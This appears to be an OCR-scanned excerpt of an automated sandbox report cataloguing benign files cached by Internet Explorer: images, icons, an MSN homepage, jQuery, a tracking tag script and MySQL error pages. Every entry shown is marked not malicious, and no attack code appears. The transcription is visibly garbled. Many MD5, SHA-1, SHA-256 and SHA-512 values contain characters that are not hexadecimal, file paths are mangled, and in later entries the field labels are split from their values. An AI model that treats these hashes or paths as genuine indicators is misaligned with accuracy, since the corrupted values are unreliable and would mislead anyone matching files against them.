SHA-512: E48625587E710FFDBOF218DCDDF47CF38A658B215909B466F8C3B3713A44CE29A513FC8526A08756ADE6703D235AFE32CA2DBEG3BD078AACSF1ELIE337A5F4F|
A

Malicious: false

Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\AARIY5u[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3

Category: dropped

Size (bytes): 8847

Entropy (8bit):  7.92872951747314

Encrypted: false

SSDEEP: 192:Qolu5JEYO0X3wbR71MLGhj3zAaUX7mIRfh6buRh7GSS6G8NNBd:blu5InO3wfgG5z0hNh75S6G2

MD5: 55AB93058C68A6E73DA3ECC8BD20A676

SHA1L: 934FBAB9DOF813FE652ED149E3722337E27E5594

SHA-256: 0ABO5AF1DDDED42EB51CA2B9E63D0CDF550D75B3E0BBB2527FAB4B13596715D1

SHA-512: C4B5E6CBF7EEDBC9E47DD864A7D98841FBD10A07AF4E79E21465BE6968A8664C8B516BFB92D0137ECD5BF72066A022D3F194802B2188FB8731E64DD423CF5A
E

Malicious: false

Preview:

.)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP JQRO....... &..&05-5000000000000000000000000000000O0O0000

.T..2.2.9..Dc.l.z.v..Z. _
L0L)L SVl {L.pp..." et a..lg..Ua4t.. k....nX..R**.=q).B.j.n.X"..(!l..c.~.3...R.6|."q8.z....-G..9.5"1...B@..I.f.....~.2c.PN.N;.S.z.IRnV }....... (
#4.$...n).K....g

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\OW10PBUV\AARIk9e[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
Category: dropped

Size (bytes): 12249

Entropy (8bit): 7.956964427811286

Encrypted: false

SSDEEP: 192:QotBbKURPJzPwWN2zegm1uFdjHH+AXjuuTI9yPHHUVDFEHgY02hq5EGWLCc8CNwuUOE:btBbKY5M2CqFFhUufQHUVDF+ASEGWASU
MD5: 366C30F6D8E2BB55F6E205E2CDEODO5S0

SHAL: 696CE40E44016525957F3B97C8E2956FA2485C3F

SHA-256: BOOCCA86CAD14B89A75B8B59ED62891C20F869009FF31F82068F2E4A669EBBA3

SHA-512: 3EA7E3C753CD471FB729213775501BDF2FOFFE997FCBA3F96C69254F47CBEDA4A291C8587C77C095D2F3FA76167B473E7B229F5F0A32EE7587C36C6FFID321C
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellIE\OW10PBUV\AARIk9e[1].jpg

Malicious: false

Preview:
...... JFIF 0 e 2 )100)-,3:13>36F7,-@WAFLNRSR2>ZaZP JQRO........&..&05-5000000000000000000000000000000000000
00000000000000. JoJ1ALQag. 2. #BLLR..$3bT ... %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz........

..rD.(@.i.0a\....wFE..Dm "2.8M.9.Z.60.d..{.->.H/.8...?.....bH..$W.F.OL#.~ -F.2.v.....P(.a....
..... 0..cK...(O/[s....Y.......e.@. ..

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\AARI09i[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 100x75, frames 3
Category: dropped

Size (bytes): 2334

Entropy (8bit):  7.804787398990509

Encrypted: false

SSDEEP: 48:QfAUETA]j7/rkdbUMIDJa/N+qyNIgKIKA4RZ3J00jCB: Qf7E2rkNUjJaV5iMAU1J0/

MD5: 19COAE16B773955A968DBC2E02F78DD9

SHAL: 68B07436E87A31B07DD7F20B897AE14664F15733

SHA-256: A9651BD954612BE62AD6732BA260774FC7585C5D28F3571BB67C352C6B641BF4

SHA-512: E3673451A23795B2401D2C38D04BD8A186DBF420662D7E45C1EF57C5CA6451A3D887975CE981DD1012794B7E999173D98EOBBD483ES552DB12F1B1DAF3F26831
Malicious: false

Preview:

3..z..H}h. [..+s..4RD.w.,.3..
...U.6ZE$..U%G.B...S6.#..5@....px<"

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\AARIt06[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 100x75, frames 3

Category: dropped

Size (bytes): 2055

Entropy (8bit):  7.737309048781414

Encrypted: false

SSDEEP: 48:QfAUETATOZXYDbfiGBRWjR56tjU2pe ON9yCL1Hj5TkLmzf8R:Qf7EZEIGBGjb6nIHVWLmMz+

MD5: E36D48C9B814F0634087018C06CCIB22

SHAL: B55C96D89E02F7CBEE7CC2731ABE30C73DE25B11

SHA-256: B5AFC3D4C19BD12F278AF96F3CCC83F31F7B78A4679FED541368C67D3477156F

SHA-512: E39BCB00B232CF416D948C4FED41201A064B88B5238C91BCB2EF1B225CCB49DEE10E11CO8EC035A161A1E85529C4C0F4F89FEA77E27DFF9599130E39F2E51C
1

Malicious: false

Preview:

...... 0..%.:5Uv.£.$.>...%g th....4..Y. .6, )\ HXX$Y#N.. .....P.P)-.$7V.$}@.Eq=N...Y..$2J.V..i-......"L.;.j."c..5.N....[.OgZX.....q. ...g"5.m],Q....W?.1R.h.>....t..H
+.Uef#. ly...z.X..n..s..>.;.Nz.Qz.C..."..BP...

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\OW10PBUVIAARM2qY[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 100x75, frames 3
Category: dropped

Size (bytes): 3444

Entropy (8bit):  7.896617260217748

Encrypted: false

SSDEEP: 96:Qf7ErZIPYUon9MetG518/kRKXemwfscx0g1:QjfnLgsOKOsgl

MD5: D7317C8C02C38C9B02F6C25BEOBCE5ES

SHAL: 151C1DAFO6E6BACAEBBSEACBE2E08409430F34A4

SHA-256: A233EB7B3EC2C7DE2E508F0F338E2D2570489236FC97FBD7DD6D42B32A0BEE43

SHA-512: FDAAE1D6847D402BE23B2A6C20819CD76271750C09C2E2C807F18E3F1C892013B96A49720743FCC14EABF7BF256ECOAF4AF1CE6722842418EB176FFA830221721
Malicious: false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\OW10PBUVIAARM2qY[1].jpg

Preview:

E.$.... 3.MW.....B.......s.L1..|..1.6>.Q.g.*.~.=+E.bz.C.....I"0OL.rl..}b..E"..$V...
W..VLLE...g.nT.h.k.2Ui.%.y.\.?j LT tvi=0.g. V.G...c.t..@\..kmB1..A...."...5.$.....0..}.kL.NU%S....... [..

A7.b.H..A.H.JXTM-U..S].

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\AARmM6r5[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x250, frames 3
dropped

17703

7.948335335138899

false

384:+qOQvDg5PuGI2FJ+7euVXqjIFBloj5SXNk+Y565p/0q6bLOHAGrz7FRT:+7eGIS+7euV6jJFBe9XmZ56nog4fozBV
AF8B89IFA03344C236767COFED93A3635

8CEAF3DABCB0994F5F54BEC5A09C6408C459ED82
06EFB97DCE1ADE37742C16ED656371F172BC549D752B1EE301411E08E508EDOA

42AC09528A1C9FD541F34CC7F58ECA9281ED536ECSFCA9E3484A9B47BEDCE45611C6E2845EDD42042146CBBE9FE2D44201AC71CD62A20344216E3048E6645C
C

false

.)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP"JQRO....... &..&05-50000000000000000000000000OO0OO0O0000

C:\Users\luser\AppDatal\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\AARMt9G[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x250, frames 3
dropped

10526

7.927345671317898

false

192:QtHL+Dun0sH2/rauOlAzigvbHdvNKh5crngQO4ArL5UEEISKIbZNHg:+S2pWgIAFRVNeUgQ9C5UEEBtHg
076B1B6F3B46740679FA703FE7EDF5E6

A961FF54B4D6A170FA42366CA3F79DCCIDB55763
7EC4C91055D6BF21250D3754A2E7ACC1BCCF7B61215D218F10078E2DC4F22A67
77C447AFB5049BF02F8CA136840307AB618DBEB584123AF98C2FBA597C2E902789A74F0451BBO0EF891E87EF19A84F9F6557CD2747E5329264DEB600F42CE712

false

.)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP" JQRO....... &..&05-500000000000000000000000O0000000OO0000

LHd .V.CA....Q5t<.@.RDl.....ac.Qd. ]...,4.V4.P.)...4..Id. #a..A.gW7..hp..00{W...p.1T4..2M....3.W.CK...
e.@..%..a.)#<T9...[....)...G.la..0......,ZD.....%......X.Y.B6n.A.1.m.Y.n.ap...#..E.L.=&.-..PM4... B.,.Kc..Y .f. #.cB..E2......L.".B...".qL.....zSBn..z.." (..........qJ .2.CV..x.
eD.Sr.).,.y...i.3..m.Fh.W# .J.g..[j.0z..q..h....Lw.m

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\OW10PBUV\AAuTnto[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

7

7.619244521498105

false
12:6v/71+Qh6PGZxqRPb39/w9A0WC42k5allhpzIinlA7GgWhZHcIxD2RZyrHTsAew9:++RFzNY9ZWcz/In2aJ/Hs0/ooXw9
1472AF1857C95AC2B14A1FE6127AFCAE

D419586293B44B4824C41D48D341BD6770BAFC2C
67254D5EFB62D39EF98DD00D289731DE8072ED29F47C15E9EOED3FOCEDB14942
635ED99A50C94A38F7C581616120A73A46BA88BEI05791C00B8D418DFEGOFOEA61232D8DAAEBI73D7ADA71C85D9B373C0187FADAGE4ACAESCF70596B7720E2238

false

<3N TM) V. EKI-4. b... 6JY..V.12.%...."Q...."........5.0.)d.S...Q..D...M.U..J.+.1.CE.f.(...g....2(.H..A~A........S..=B.6...Ww..KNGLN.A..".0.B)..s?P....
VeoooiQ-.8.W.786....D2°..8.[.Z1G"N.2. X oo 2>.g...c......fh...q0..{...GcW@.Hb.Ba....... w...P....=)..h.A. .. j.....0.XZ.Q.4..pQ....>VT..H..'Du.e..~7..9. 7..QU...S.
Aot B, %*m|...[....M..}y.7..28... K.L|;5....@...u..6<.yM.%B".,.U.].+..$..%$....3...L.....%.8...A9. #.0j\IZcg...c8..d......|END.B".
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\OW10PBUV\BB1ftEY0[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

497

7.316910976448212

false

12:6v/7TYELTvpTjO7q/cW7Xt3T4KL+IxK0ew3IwB L:rEtTRTj/XiNSIMkIw61
7FBE5C45678D25895F86E36149E83534
173D85747B8724B1C78ABB8223542C2D741F77A9
9E32BF7E8805F283D02E5976C2894072AC37687E3C7090552529C9F8EF4ADB7C6
E9DE94C6F18C3E013ABOFF1D3FF318F4111BAF2F4B6645F1E90E5433689BIAES22AE3A899975EAAOAECAL4A7D042F6DF1A265BA8BC4B7F73847B585E3C12C2¢

false

PNG........ IHDR....ccovrvinnn a...pHYs......... +..IDATX..NLAAL=LLDCLRR T v AL "L20 Pap.inALL0....1.N4.9.>.8...g.,..|."..nL#A..vQ.. ... C.D8.D.0*.DR)....
Kl.]....... m..T.=tz..E.y.... .S.i>0O.x4p~w....{..U.S...w<.A3..R*..F..S1..j..%...1.|.3.mG..... f+.x...5.e.]lz.*). IW..Y(.L".J...xx.y{*\. ..L..D.\N........ g.W..jw:....... @]
_$.LBU.W.S....R.UAN@...j..t.2.<......M.r.h..IEND.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB6Ma4a[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

368

6.811857078347448

false
6:6v/IhPahm7HmMoUVvP34NS7QRdujbt1S+bQkW1oFTZLKrdmhtlargWoaf90736wDm:6v/7xkHA2QRdsbt1pBcrshtvgWoaO7qZ
C144BE9E6D1FA9A7DB6BD090D23F3453

203335FA5AD5E9D98771E6EA448E02EESCODI1F3
FAC240D4CA688818C08A72C363168DCIB73CFED7B8858172F7AD994450A8D459
67B572743A917A651BD05D2CIDCEC20712FDIE8B02EC6C1A3DBE61385EB2FEBB1F19248F16E906AF0B62111B16COEAQ05769AEAL1C44D81A02427C1150CB0O35EA

.UIDATX.cy. 2. UA....GX...43.1;.0(f..0a"..C...+Z0.y......~..0..>.....(...X3H.....Y....zQ4.50....R.u.*t..|....)....(.$.".a...d.qd.....3..
iL.k@QE...,j....B...X.7....|..0.....pu2.1B,...0.P....... "F>R.2.01.(..33#.L4..9[...N....IEND.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB7gRE[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

501

7.3374462687222906

false

12:6v/71zYhg8gNX8GA3PhV8xJy4eOsEfOZbLjz:u809A/hSJI9lfkbb
1FCA95AEED29D3219D0A53A78A041312
5A4661CCF1E9F6581F71FC429E599D81B8895297
4BOF37A05AB882DA679792D483B105FDD820639C390FC7636676424ECFD418B9

7E02CEB4A6F91B2D718712E37255F54DA180FA83008E0CE37080DADFE8B4D0OD50BCOEA8657B87003D9BAD10FA5581DBB8C1C64D267B6C435DA48CBED3366C
EA

false

A.@.".|.. .1d$.("..V.0l.ghK....]SS...0.1.<@.0 {.........WB8~... }Hr...P...."LN..N.....Z...".3.
gmb5x....[.C.9"Q.BC.....0..../.(...].~.0hv..S..7.....YBn..B..o.T<......... |.0&....U...gm.. ..U, .u.)\$.IN

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellIE\OW10PBUV\a5ea21[2].ico

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 32 x 32, 8-bit/color RGB, non-interlaced

dropped

758

7.432323547387593

false

12:6v/792/6 TCfasyRmQ/iyzH48qyNkWCj7ev50C5qABOTo+CGB++yg43gX4b9uTmMI:F/6easyD/iCHLSWWqyCoTTdTc+yhaX4v
84CC977D0EB148166481B01D8418E375

00E2461BCD67D7BA511DB230415000AEFBD30D2D
BBF8DA37D92138CCO8FFEEC8E3379C334988D5AE99F4415579999BFBBB57A66C
FA7A507077F9173FB0O7EC200C2677BA5F783D645BE100F12EFE71F701A74272A98E853C4FAB63740D685853935D545730992D0004C9D2FESE1965445CAB509C3
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\OW10PBUV\a5ea21[2].ico

Malicious:

Preview:

false

PNG........ IHDR... ... oo PHYS oo VPAG... ce v elDATH...0.@../.MT..KY..PI9"....:UjS..T."P.(R.PZKQZ.S. ....v2 ... .9t..K..;_}....~.gK..i;B..2..C..B.......<
...CB.....).....;..Bx..2.}. . >w!..%B. {.d...LCgz..j/.7D.* M.*............. "HK..j%.!DOf7......C.]._Z.f+..1.1+,;.Mf....L.:Vhg..[.. ..O:..1.a....F..S.D...8<n.V.7M....cY@....... 4.D..kn%.e. A.@
1A, >\.Q|.N.P........ <l..p..y.U...J..9..R.mgp}vwn.f4$ . X.E.1.T...2......wz..U..../[...Z..(DB.B(...m........ B.=m.3....X..p..Y......w.<........8..3.;.0....(..l..A..6f.g.xF..7Th.Gmq
|...0z_Z..X.0F.......... X..=Y},jT..R.....72w/...Bh..5..C...2.06 ........ 8@A..."zTXtSoftware..x.sL.OJU..MLO.JML.../.....M....IEND.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\checksync[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with no line terminators

dropped

204

4.753212018409155

false

6:ljggS50c/bLiuggS50c/bLiuggS50c/bL7:+DpxgDpxgDp7
AAOEC763639C9094D9BE1BOD491ACE5A
9A0E137BDIEB21908016360FBB2DAD6AED37CAE4
4D2671D4C5D04438C3447C787ADF222D33AB22C91222ABB1B5524ED586B42C01
9A812C4C097D864E757CE84D98542EA239150D61184E2BF1BB62EBIE97F8730ADBBI6D00F95B0386FC4BI3EB2347450ADE2A77E5B495708C0438C7DCF5BCEFRE

false

Connection failed: SQLSTATE[HY000] [2006] MySQL server has gone awayConnection failed: SQLSTATE[HY000] [2006] MySQL server has gone awayConnection fai
led: SQLSTATE[HYO000] [2006] MySQL server has gone away

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\checksync[2].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with no line terminators

dropped

204

4.753212018409155

false

6:ljggS50c/bLiuggS50c/bLiuggS50c/bL7:+DpxgDpxgDp7
AAOEC763639C9094D9BE1BOD491AC65A
9A0E137BD9EB21908016360FBB2DAD6AED37CAE4
4D2671D4C5D04438C3447C787ADF222D33AB22C91222ABB1B5524ED586B42C01
9A812C4C097D864E757CE84D98542EA239150D61184E2BF1BB62EBIE97F8730ADBB96D00F95B0386FC4B93E82347450ADE2A77E5B495708C0438C7DCF5BCEFE

false

Connection failed: SQLSTATE[HY000] [2006] MySQL server has gone awayConnection failed: SQLSTATE[HY000] [2006] MySQL server has gone awayConnection fai
led: SQLSTATE[HYO000] [2006] MySQL server has gone away

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\de-ch[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, UTF-8 Unicode text, with very long lines, with CRLF, LF line terminators
dropped

428346

5.435805009543109

false

3072:RfAJUsxx+0AkJI8Ciad TIT454DGgtwKXDR05tulsiL2Y/JTAWJIXLF:RfAIOOIOLWmQgY5vJh
EFA19AEDA31BFAEBOE3D02D5CF357074
3AAA2D1A6DEQ7332BF834D92C4272BE1C20C6AD9
0F6D28C6BIDI10EA2BA466A2D744AD6863265D182F6B37BD3A557E472DEE787D
A8CFDB00E85283810C44D3E554A0050307B35902C64CA4B4AF98BA2890F1E436E72AE62D08B602AE1741C628084BB8E7CE12FBD905631EEEB303B91435582B982

false

<IDOCTYPE html><html prefix="o0g: http://ogp.me/ns# fb: http://ogp.me/ns/fb#" lang="de-CH" class="hiperf" dir="ltr" >.. <head data-info="v:20211130_259442
25;a:a105d8f3-5ae3-4039-abe4-9e605b039bc2;cn:1;az:{did:2be360ae5c6345da911d978376c0449f, rid: 1, sn: neurope-prod-hp, dt: 2021-11-29T17:46:10.7870429Z, bt:
2021-11-30T01:14:54.5479932Z};ddpi:1;dpio:;dpi:1;dg:tmx.pc.ms.ie10plus;th:start;PageName:startPage;m:de-ch;cb:;l:de-ch;mu:de-ch;ud:{cid:,vk:homepage,n:,l:de-ch,ck:}
;xd:BBggbZW;ovc:f;al:;fxd:f;xdpub:2021-08-11 10:21:32Z;xdmap:2021-12-03 00:04:57Z;axd:;f:msnallexpusers,muidflt17cf,muidflt299cf,oneboxdhpcf,bingcollabedgelcf,p
latagyhplcf,audexhplcf,audexhp2cf,moneyhz2cf,onetrustpoplive,msnapp5cf,1s-bing-news,vebudumu04302020,bbh20200521msncf,weather2cf,j0jee471,1s-br30min,b
trecrowl,1s-winauthservice,1s-winsegservice,wf-sunny-first,prong2t,1s-maps-latlongkey,1s-pagesegservice,wf-banner-null;userOptOut:false;userOptOutOptions:" data-
js="{&quot;dpi&quot;:1.0,&quot;ddpi&quot;:1.0,&q

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellIE\OW10PBUV\jquery-2.1.1.min[1].js

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

C:\Program Files (x86)\Internet Explorer\iexplore.exe
ASCII text, with very long lines, with CRLF line terminators
dropped

84249

5.369991369254365
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\OW10PBUV\jquery-2.1.1.min[1].js

Encrypted: false

SSDEEP: 1536:DPEKjP+iADIOr/NEe876nmBu3HvF38NdTuJO1z6/A4TqAubOR4ULvguEhjzXpa9r:oNM2Jiz60AFKP5a98HrY

MDS5: 9A094379D98C6458D480AD5A51CA4AA27

SHA1L: 3FE9DBACAAEC99FCBA3FOE9OED66D5057DA2DEAE

SHA-256: B2CE8462D173FC92B60F98701F45443710E423AF1B11525A762008FF2C1A0204

SHA-512: 4BBB1CCB1C9712ACE14220D79A16CADO01B56A4175A0DD837A90CA4D6EC262EBFOFC20E6FA1E19DB593F3D593DDD90CFDFFE492EF17A356A1756F27F90376B
50

Malicious: false

Preview:

/*1'jQuery v2.1.1 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */..!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports
=a.document?b(a,!0):function(a){if('a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:
this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={} ,|=a.document,m="2.1.1",n=function(a,b){return new n.fn.ini
t(a,b)},0=/"[\s\UFEFF\xAOQ]+|[\s\uFEFF\xAQ]+$/g,p=/"-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"" len
gth:0,toArray:function(){return d.call(this)},get:function(a){return null'=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a)
;return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,funct

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\OW10PBUV\tag[1].js

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 10228

Entropy (8bit):  5.444589507503123

Encrypted: false

SSDEEP: 192:4EamzdxOBoOBpxYzKhp5foeeXwhJTvIXQuzSqHDgiKGWdrBpOlztlomIRokr:4EamR70rxY SLQdiMoHDgxGWdrz4+

MD5: A97B07A6676EE93D511B0C92170210A8

SHA1L: 45414FAEA118B5F711F5378B3EE93D82536C2BBB

SHA-256: 2D90F176EF387A57A979060ACF26 CODE8F15ACEA4E251846BBC234D84C7813A0

SHA-512: 48BBFDDDECD38F0D3BE5DA50935E7DFA87C39B95FB088F10568C7EIE99E1A3F572C64BEB511F6CD082B51B641080CDE21F05BC3F1332AC226D1171BF5F7C2I
CF

Malicious: false

Preview:

Ifunction(){"use strict";function r(e,i,c,){return new(c=c||Promise)(function(n,t){function o(e){try{r(l.next(e))}catch(e){t(e)}}function a(e){try{r(l.throw(e))}catch(e){t(e)}}function
r(e){var t;e.done?n(e.value):((t=e.value)instanceof c?t:new c(function(e){e(t)})).then(o,a)}r((I=l.apply(e,il|[])).next())})}function i(n,0){var a,r,i,e,c={label:0,sent:function(){if(1
&i[0])throw i[1];return i[1]},trys:[],ops:[]};return e={next:t(0),throw:t(1),return:t(2)},"function"==typeof Symbol&&(e[Symbol.iterator]=function(){return this}),e;function t(t){return
function(e){return function(t){if(a)throw new TypeError("Generator is already executing.");for(;c;)try{if(a=1,r&&(i=2&t[0]?r.return:t[0] ?r.throw||((i=r.return)&&i.call(r),0):r
.next)&&!(i=i.call(r,t[1])).done)return i;switch(r=0,i&&(t=[2&t[0],i.value]),t[0]){case O:case l:i=t;break;case 4:return c.label++ {value:t[1],done:!1};case 5:c.label++,r=t[1],t=[0
];continue;case 7:t=c.ops.pop(),c.trys.pop();continue;default:if(!(i=0<(i=c.trys).length&&

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\264bf325-c7e4-4939-8912-2424a7abe532[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, frames 3

Category: dropped

Size (bytes): 58885

Entropy (8bit):  7.966441610974613

Encrypted: false

SSDEEP: 1536:Hj/aV3ggpgoUKGo7EVhG4+FVWC2eXNABGQYKIp/uzL:Di3gyq9Ue7EVsCieXuS

MD5: FFA41B1A288BD24A7FC4F5C52C577099

SHA1L: E1FD1B79CCCD8631949357439834F331043CDD28

SHA-256: AA29FA56717EA9922C3D85AB4324B6F58502C4CF649C850B1EC432E8E2DBI55F

SHA-512: 64750B574FFA44C5FD0456D9A32DD1EF1074BA85D380FD996F2CA45FA2CE48D102961A34682B07BA3B4055690BB3622894F0E170BF2CC727FFCD19DECA7CCB
D

Malicious: false

Preview:
...... JFIF e Cciiiccseees G s e B LU L PAQLA
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\39ab3103-8560-4a55-bfc4-401f897cf6f2[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, frames 3
Category: dropped

Size (bytes): 64434

Entropy (8bit): 7.97602698071344

Encrypted: false

SSDEEP: 1536:uvrPk/qeS+g/vzqMMWi/shpcnsdHRpkZRF+wL7NK2cc8d55:uvrsSh7XzB0shpOWpkThLRyc8J

MD5: F7E694704782A95060AC87471FOACTEA

SHAL: F3925E2B2246A931CB81A96EE94331126DEDB909

SHA-256: DEEBF748D8EBEB50FIDFF0503606483CBD028D255A888E0006F219450AABCAAE
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\39ab3103-8560-4a55-bfc4-401f897cf6f2[1].jpg

SHA-512: 02FEFF294B6AECDDA9CC9E2289710898675ED8D53B15E6FFOBB090F78BD784381E4F626A6605A8590665E71BFEED7AC703800BA018E6FEOD49946A7A3F431D7
Malicious: false
Preview:

#2...$B...3Rb.%CS...&4Tr..(56¢cs
..@xT.%.D.?2...JNm.;&..... y.qt8..x.2.uTT.=TT..k
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\AA5Wkdg[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category: dropped

Size (bytes): 525

Entropy (8bit):  7.421844150920897

Encrypted: false

SSDEEP: 12:6v/7djHPPM9IIhOfybHNtOytXQlcyY7r1vEP/N:2jHMIIhOfCttIVgRO1sP1

MDS5: 92496B0OE07883E12CD6EA765204137CD

SHA1L: 5F11C47C9D4D6A52DA90F2F2BALAFFEB40E8C2C1

SHA-256: C1F7888A82E3D3DD5E7190E99EC61FE4608399BEAAOEBS5A52A32FES84E639015

SHA-512: 384DA4D21A583934E43DD967720DD7546821AD1AFE7F36ABC5D3574F5BABBI1ED3BCID487809E804AADCAF5762F02A0C6B58020925ED1885682F2796C8D690/4
Malicious: false

Preview:

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\AAMqFmF[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 553

Entropy (8bit):  7.46876473352088

Encrypted: false

SSDEEP: 12:6v/7kFXASpDCVwWSb5163cth5gCsKXLS39hWf98i67JK:PFXKV3IBKbSt8MVK

MD5: DE563FA7F44557BF8AC02F9768813940

SHA1L: FE7DE6F67BFE9AA29185576095B9153346559B43

SHA-256: B9465D67666C6BAB5261BB57AE4FC52ED6C88ES52D923210372A9692A928BDDE2

